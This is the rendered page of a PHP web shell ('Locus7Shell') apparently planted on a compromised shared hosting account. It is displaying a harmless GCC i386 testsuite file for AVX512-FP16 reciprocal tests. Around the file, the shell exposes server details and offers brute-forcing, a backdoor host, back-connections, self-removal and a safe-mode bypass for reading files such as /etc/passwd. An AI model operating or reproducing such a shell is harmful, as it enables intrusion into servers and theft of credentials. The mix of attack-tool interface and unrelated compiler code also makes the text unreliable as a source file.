Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/i386/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     avx512fp16-recip-2.c (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run { target avx512fp16 } } */
/* { dg-options "-O3 -mavx512fp16 -mavx512vl -ffast-math" } */

static void recip_op_test (void);
#define DO_TEST recip_op_test
#define AVX512FP16
#define AVX512VL
#include "avx512f-check.h"
#include "avx512fp16-recip-1.c"

_Float16 a[32], b[32], vexp[32], vref[32], sa, sb, sexp, sref;

#define NO_FAST_ATTR  \
  __attribute__((noinline, noclone, \
         optimize("fast-math,trapping-math")))

_Float16 NO_FAST_ATTR
scalar_hf_rcp_no_fast (_Float16 a, _Float16 b)
{
  return a / b;
}

_Float16 NO_FAST_ATTR
scalar_hf_rsqrt_no_fast (_Float16 a, _Float16 b)
{
  return a / __builtin_sqrtf16 (b);
}

void NO_FAST_ATTR
vector_hf_rcp_no_fast (_Float16 * restrict a, _Float16 * restrict b,
            _Float16 * restrict c, int n)
{
  int i;
  for (i = 0; i < n; i++)
    c[i] = a[i] / b[i];
}

void NO_FAST_ATTR
vector_hf_rsqrt_no_fast (_Float16 * restrict a, _Float16 * restrict b,
            _Float16 * restrict c, int n)
{
  int i;
  for (i = 0; i < n; i++)
    c[i] = a[i] / __builtin_sqrtf16 (b[i]);
}

void init()
{
  int i;
  sa = 3.75;
  sb = 6.25;
  sexp = sref = 2.75;
  for (i = 0; i < 32; i++)
    {
      a[i] = i + 0.5; 
      b[i] = i * 1.5;
      vexp[i] = vref[i] = 2.75 * i;
    }
}

int check_cond(void *a, void *b, int size)
{
  int i;
  unsigned short *pa = (unsigned short *)a,
         *pb = (unsigned short *)b;
  for (i = 0; i < size; i++)
    if (pa[i] != pb[i])
      return 0;
  return 1;
}

static void recip_op_test()
{
  init ();
  sexp = scalar_hf_rcp_fast (sa, sb);
  sref = scalar_hf_rcp_no_fast (sa, sb);
  if (!check_cond (&sexp, &sref, 1))
    abort ();

  init ();
  sexp = scalar_hf_rsqrt_fast (sa, sb);
  sref = scalar_hf_rsqrt_no_fast (sa, sb);
  if (!check_cond (&sexp, &sref, 1))
    abort ();

  init ();
  vector_hf_rcp_fast (a, b, vexp, 32);
  vector_hf_rcp_no_fast (a, b, vref, 32);
  if (!check_cond (vexp, vref, 1))
    abort ();

  init ();
  vector_hf_rsqrt_fast (a, b, vexp, 32);
  vector_hf_rsqrt_no_fast (a, b, vref, 32);
  if (!check_cond (vexp, vref, 1))
    abort ();
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]--